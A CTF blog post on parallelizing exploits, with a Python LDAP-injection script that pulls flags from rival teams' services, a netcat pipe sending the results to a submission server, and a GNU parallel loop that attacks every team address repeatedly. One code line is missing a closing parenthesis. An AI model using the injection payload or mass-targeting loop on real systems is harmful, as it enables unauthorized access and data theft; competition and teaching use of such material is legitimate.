Parallelization of Exploitation


Crosspost from Rants, Ideas, Stuff.

90% of the time I write my (or other people’s) exploits in Python. I try to

structure my code in small easy to read methods. Like every developer does 😉 Every exploit has at least one method which is called in a __name__ == '__main__' block, so it can be imported from other files.

Because most of the time every team has a vulnbox with an ip address that contains its team number, my exploit scripts get the team number as an argument.

Here’s one of the exploit scripts from the last CTF. It does a HTTP GET with prepared parameters and reads flags from the resulting HTML. It’s a quick and dirty solution to a small problem. During a CTF pretty much every minute counts. Quick and dirty wins over great craftsmanship.

#!/usr/bin/env python

import sys
import re
from io import BytesIO
import requests
from pyquery import PyQuery as pq
from lxml import etree
import base64

def get_flags(ip, port):
    url = 'http://%s:%s' % (ip, port)
    params={
        'action':'info',
        'name':'*',
        'surname':'*)(|(cn=* *',
        'password':'a)'
        }
    sys.stderr.write("Fetching...\n")
    try:
        r = requests.get(url, params=params, timeout=1)
    except Exception, e:
        sys.stderr.write("%s\n" % e)
        sys.exit(1)

    sys.stderr.write("done\n")

    content = BytesIO(r.content)
    parser = etree.HTMLParser()
    tree = etree.parse(content, parser)

    d = pq(etree.fromstring(etree.tostring(tree.getroot())))
    for e in d('.password'):
        for x in e:
            try:
                flag = base64.standard_b64decode(x.tail)
                if re.match(r"^\w{31}=$", flag):
                    yield flag
            except Exception:
                # YOLO let's just move on!
                pass

def main():
    ip = '10.23.%s.2' % sys.argv[1]
    port = 8000

    sys.stdout.write('?s contacts\n')
    sys.stdout.write('?t %s\n' % sys.argv[1]

    flags = [flag for flag in get_flags(ip, port)]
    if len(flags) > 0:
        flags.reverse()
        for flag in flags[0:10]:
            sys.stdout.write('%s\n' % flag)

if __name__ == '__main__':
    main()

Some basic tips:

  • Your script should have sane timeouts. Waiting to long for a team’s service that isn’t available doesn’t help.
  • Crash early. Single flags aren’t worth too much most of the time.
  • Write flags to STDOUT and logging to STDERR. STDOUT can then be redirected to a flag submitting script.
  • Keep everything as simple as possible.

Submitting the resulting flags is handled by the WoD submit framework with which a surrounding shell script “talks” via netcat:

#!/bin/bash
./exploit.py $1 | nc 10.23.23.23 1337

Parallelization is then done via GNU parallel:

while true; do parallel -j 50 ./exploit.sh {1} ::: $(seq 1 127); done

The -j parameter tells parallel how many parallel executions should be done.

{1} is the first argument.

::: introduces an argument block. With :::: a argument file can be passed. So if it’s possible to determine if the exploited service of a team is currently up it would be good to write a script, that determines all exploitable teams and only pass those to parallel. Multiple ::: and :::: blocks can be given and mixed. A parallel run with a script that takes a port as a second parameter might look like this: parallel -j 10 ./exploit.sh {1} {2} ::: $(./get-exploitable-teams.sh) ::: 8080 8081

Let’s say get-exploitable-teams returns 1 5 6. The resulting parallel executions of exploit.sh would be:

./exploit.sh 1 8080
./exploit.sh 1 8081
./exploit.sh 5 8080
./exploit.sh 5 8081
./exploit.sh 6 8080
./exploit.sh 6 8081

Thanks for reading,

Zoran

Leave a comment

Your email address will not be published. Required fields are marked *

*